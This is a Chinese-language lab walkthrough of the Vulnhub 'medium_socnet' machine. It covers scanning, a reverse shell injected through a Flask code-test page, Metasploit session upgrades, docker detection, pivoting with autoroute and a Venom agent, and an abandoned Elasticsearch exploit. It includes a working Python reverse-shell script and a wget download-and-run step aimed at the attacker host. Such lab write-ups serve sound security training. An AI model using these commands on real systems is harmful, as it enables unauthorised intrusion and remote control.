漏洞靶场实战-Vuluhub medium_socnet
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞靶场实战-Vuluhub medium_socnet相关的知识,希望对你有一定的参考价值。
文章目录
下载安装
Vulnhub 是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地 VM 打开即可,但是很多靶场不兼容 Vmware 比如本次用的靶场就不兼容,所以推荐 VirtualBox
下载的是一个 ovf 后缀的文件,打开 VirtualBox,导入
导入完毕后根据需求编辑虚拟机设置
配置 VB 和 VM 的网络链接
因为 Kali 是在 Vmware 上的,还需要与 VirtualBox 的靶机通信
-
将 VirtulBox 靶机网络配置修改成
-
Vmware 网络设置,添加一个网卡,设置桥接模式,(对应eth0网口)使用VirtualBox 的网卡,保证能连接到 VB
还要保证 Kali 可以联网现在工具,另一个网卡设置为 NAT 模式
-
设置 Kali 配置文件
vim /etc/network/interfaces
添加dhcp:
auto eth1 iface eth1 inet dhcp
保存后重启网络
service networking restart
使用 ip a 查看
Kali ip:192.168.56.102
实战
1.主机发现
arp-scan -l
根据 VirtualBox 的 mac 地址也能确定 101 就是靶机
端口扫描与服务发现
nmap -sS -sV -T4 -A -p- 192.168.56.101
存在一个 ssh 端口和一个 5000 http 服务
Werkzeug 是一个专门用来处理 HTTP 和 WSGI 的工具库,可以方便的在 Python 程序中处理 HTTP 协议相关内容
所以可以判断 5000 端口是一个 python 框架的 web 服务
访问主页,通过插件也可以佐证
2.第一台主机漏洞利用
现在的思路
- web 信息收集然后漏洞利用
- 目录扫描
- Python ssti 漏洞
- ssh 端口爆破
目录扫描
python .\\dirsearch.py -u http://192.168.56.101:5000/
是一个代码测试页可以执行代码,尝试反弹 shell,推荐一个反弹 shell 的网站 https://www.revshells.com/
拿shell
方法一:NC监听
因为这里是直接执行代码,所以使用以下代码即可
import socket,os,subprocess
RHOST='192.168.56.102' # Change it
RPORT=4444 # Change it
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 创建一个TCP-socket对象
s.connect((RHOST,RPORT)) # 连接攻击者
os.dup2(s.fileno(),0) # 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]) # 创建子进程调用SHELL
在 Kali 上监听 4444 端口,将上面的粘贴到网页代码,点击 test code,接到 shell
执行 whoami 命令还是一个 root 权限用户,但是目录下有个 Dockerfile,推测可能是在 docker 容器中
判断是否是为 docker 环境
-
检查根目录下是否存在
.dockerenv
文件 -
检查
/proc/1/cgroup
是否存在含有 docker 字符串cat /proc/1/cgroup
-
检查是否存在 container 环境变量
通过env
\\PATH
来检查是否有docker相关的环境变量,来进一步判断 -
其他检测方式
如检测mount、fdisk -l 查看硬盘 、判断PID 1的进程名等也可用来辅助判
Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)该模块其实进行了这些操作
也就是说我们现在拿到的是一个 docker 容器内的用户 shell,不是真实的服务器,所以接下来就要尝试横向移动是在不行再容器逃逸
方法二:MSF shell
为了方便操作,这里反弹一个 shell 到 MSF,首先在 kali msf 开启监听(其实就是代替 nc)
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 192.168.56.102
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > exploit
靶机还是刚才的脚本就可以,整理好的 msf payloads
这样是实现了 Linux 环境下无文件上线 CS,Windows 的话用 powershell 就行
但是需要注意的是这是一个 Shell Banner 也就是只有一个 shell 不能用 msf 的其他功能,需要将它升级一下
command-shell-to-meterpreter
1.在 shell 中执行 backgroup 命令退回 msf 主页
2.使用命令提升 shell
sessions -u id
执行完毕后可以看到多了一个 session
还有其他方法:链接
再进入 session 中即可,顺便测试下刚说的 checkcontainer 模块
meterpreter > run post/linux/gather/checkcontainer
横向移动
**方法一:MSF
1.首先进行信息收集,当然我这里直接用的 msf 的命令,手工的话可以看这篇文章
-
系统信息和路由表信息
-
探测内网存活
run post/multi/gather/ping_sweep RHOSTS=172.17.0.0/16
发现三个存活主机
2.搭建代理进行内网扫描
run autoroute -s 172.17.0.0/16
run autoroute -p
新版中可以用 addroute 命令,用法发生了变化,使用这个命令来查看用法
info post/multi/manage/autoroute
这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理
background 之后使用 socks4a 模块
use auxiliary/server/socks_proxy
set SRVPORT 10044
我用的是 msf6,msf 的话可以使用
use auxiliary/server/socks4a
3.修改配置文件
vi /etc/proxychains.conf
然后进行扫描
proxychains nmap -sT -Pn 10.0.0.2
但是我这里不知道什么原因失败了,有篇文章介绍到可以上传单文件版 nmap 但是我没有找到 https://www.anquanke.com/post/id/204066#h3-7
方法二:工具代理
只能手动使用工具:Venom 进行代理
1.使用命令进行内网探测
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done
2.搭建代理
使用这个工具,项目地址:https://github.com/Dliv3/Venom/releases
首先在 kali 启动服务端
./admin_linux_x64 -lport 9999
启动后在 kali 上使用 python 开启临时的 http 服务,然后在目标机器上通过 wget 命令将客户端下载到本地
python -m http.server 8080
进入 shell 中,执行以下命令
wget http://192.168.56.102:8080/agent_linux_x64
chmod +x agent_linux_x64
./agent_linux_x64 -rhost 192.168.56.102 -rport 9999 #启动客户端
服务端也连接成功,获取到了一个会话,然后我们进入这个会话,然后开启一个 socks 代理
开启代理后就可以对内网机器进行操作
3.代理工具还是 proxychains,首先修改配置文件
vim /etc/proxychains.conf
依次探测内网主机
proxychains nmap -sV -sT 172.17.0.3
3.第二台主机漏洞利用
漏洞发现
发现内网主机 172.17.0.3 发现开放了 9200 端口,elasticsearch 服务,是一个基于 Lucene 的搜索服务器,使用 Java 语言开发的
简单使用命令访问下看看啥回显,找到版本号1.4.2
搜索漏洞
searchsploit elasticsearch
通过 MSF 搜索 EXP
use exploit/multi/elasticsearch/search_groovy_script
确定存在漏洞
漏洞利用
就用第一个脚本,脚本位置在
/usr/share/exploitdb/exploits/linux/remote/36337.py
proxychains python2 36337.py 172.17.0.3
又又又遇到问题了,人麻了,而且问题越扯越多,弃坑,用的环境太复杂了,因为我的靶机在 virtualBox 设置的仅主机模式所以不通外网而这里需要请求 dns 直接寄这就是 virutalbox 和 VMware 都用的麻烦,kali 不知道咋回事还巨卡
像下图这样才可以,我这里不通网不行
可以看底下的两篇文章,很棒
参考
以上是关于漏洞靶场实战-Vuluhub medium_socnet的主要内容,如果未能解决你的问题,请参考以下文章
Me-and-My-girlfriend-1靶机实战-vuluhub系列(完结)